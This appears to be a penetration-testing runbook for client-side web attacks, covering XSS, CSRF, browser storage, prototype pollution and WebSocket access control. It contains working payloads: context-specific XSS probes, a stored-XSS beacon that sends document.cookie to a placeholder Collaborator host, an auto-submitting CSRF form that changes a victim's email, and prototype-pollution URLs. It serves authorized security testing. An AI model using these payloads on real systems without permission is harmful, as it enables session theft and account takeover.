Runbook: Client-side attack testing¶
Client-side vulnerabilities execute in the browser rather than on the server. The target is not the server’s data — it is the victim’s session, their credentials, and the actions they can be caused to perform without their knowledge. Modern applications have expanded this surface considerably: single-page applications expose large amounts of logic in JavaScript, and features like WebSockets, browser storage, and cross-origin sharing each introduce their own attack surface.
Prerequisites¶
Burp Suite Pro with DOM Invader browser extension enabled.
A browser with DevTools available for runtime inspection.
An account to test stored XSS payloads from another perspective.
Phase 1: XSS¶
Reflected XSS¶
For every parameter that appears in the response, test whether it is HTML-encoded. Start with a minimal probe that produces a visible result without depending on a specific context:
<img src=x onerror=alert(1)>
"><img src=x onerror=alert(1)>
'><img src=x onerror=alert(1)>
Check where the input appears in the response source. The payload structure depends on the context: inside an HTML attribute, inside a JavaScript string, inside a JSON value, or inside a template literal. Each requires a different escape sequence.
For JavaScript string context:
"-alert(1)-"
\"-alert(1)//
For template literal context:
${alert(1)}
Stored XSS¶
For every input field whose value is displayed to other users (comments, profile names, messages, titles, descriptions), inject a payload that sends a beacon:
<img src=x onerror="fetch('https://YOUR_COLLABORATOR_PAYLOAD?c='+document.cookie)">
Log into a second account and browse to the page where the content is displayed. If the Collaborator receives a request containing the session cookie, stored XSS is confirmed.
DOM-based XSS¶
DOM Invader in Burp’s browser automatically identifies DOM sources and sinks. Browse the application with DOM Invader active and review any flagged sources.
Manually test URL hash and query parameter values that are read via location.hash,
location.search, or document.URL and written to the DOM via innerHTML,
document.write, or eval:
// Test: does the page read this value and write it unsafely?
https://target.com/page#<img src=x onerror=alert(1)>
https://target.com/page?q=<img src=x onerror=alert(1)>
Phase 2: CSRF¶
CSRF vulnerabilities exist when a state-changing request can be triggered by a third-party
page. Three conditions must hold: the request relies on a cookie for authentication, the
cookie is sent with cross-site requests (no SameSite=Strict), and the request lacks an
unpredictable token tied to the user’s session.
For every state-changing endpoint (POST, PUT, DELETE), check the request for a CSRF token. If none is present:
<!-- Test whether a cross-origin form submission succeeds -->
<form action="https://target.com/api/v1/email/update" method="POST">
<input name="email" value="attacker@attacker.com">
</form>
<script>document.forms[0].submit()</script>
Also test whether a valid CSRF token can be replaced with one from another session, or whether the token’s mere presence (regardless of value) satisfies the check.
Phase 3: Browser storage¶
Inspect localStorage and sessionStorage in DevTools (Application tab) for sensitive
data: session tokens, user identifiers, API keys, PII, and access control flags stored
client-side.
// Execute in browser console
Object.entries(localStorage)
Object.entries(sessionStorage)
If a security-sensitive flag is stored in localStorage (such as isAdmin: false), test
whether changing it client-side has any effect. Any security decision made based on
client-side storage is a vulnerability.
Phase 4: Prototype pollution¶
Prototype pollution allows an attacker to inject properties into JavaScript’s Object prototype, affecting all objects in the application. Sources include URL query parameters, JSON inputs, and URL hash fragments.
Test with Burp DOM Invader’s prototype pollution scanner, or manually inject payloads:
https://target.com/?__proto__[testProperty]=polluted
https://target.com/?constructor.prototype.testProperty=polluted
https://target.com/#__proto__[testProperty]=polluted
Open the browser console and check whether the property is accessible:
({}).testProperty // returns "polluted" if vulnerable
Once pollution is confirmed, identify gadgets: application code that reads an undefined property from an object and uses its value in a security-sensitive operation (assignment to innerHTML, eval, fetch URL, etc.).
Phase 5: WebSocket testing¶
For applications using WebSockets, proxy the WebSocket traffic through Burp (visible in the HTTP history under the WS tab). Test whether the WebSocket handshake enforces the same access controls as the HTTP API:
Authenticate as Account A and open a WebSocket connection.
Capture the connection upgrade request.
Replace the session token with Account B’s token.
Test whether Account B’s WebSocket session can receive Account A’s messages.
Also test whether messages sent over the WebSocket are validated with the same rigor as HTTP requests. Mass assignment, injection, and business logic vulnerabilities can all exist in WebSocket message handlers.
Output¶
XSS findings: type (reflected/stored/DOM), context, demonstrated session theft or account action where possible.
CSRF findings: affected endpoints, whether the exploit requires user interaction.
Browser storage findings: what sensitive data is exposed and what is controllable.
Prototype pollution findings: confirmed sources, any gadgets producing exploitable impact.
WebSocket findings: access control failures, injection in message handlers.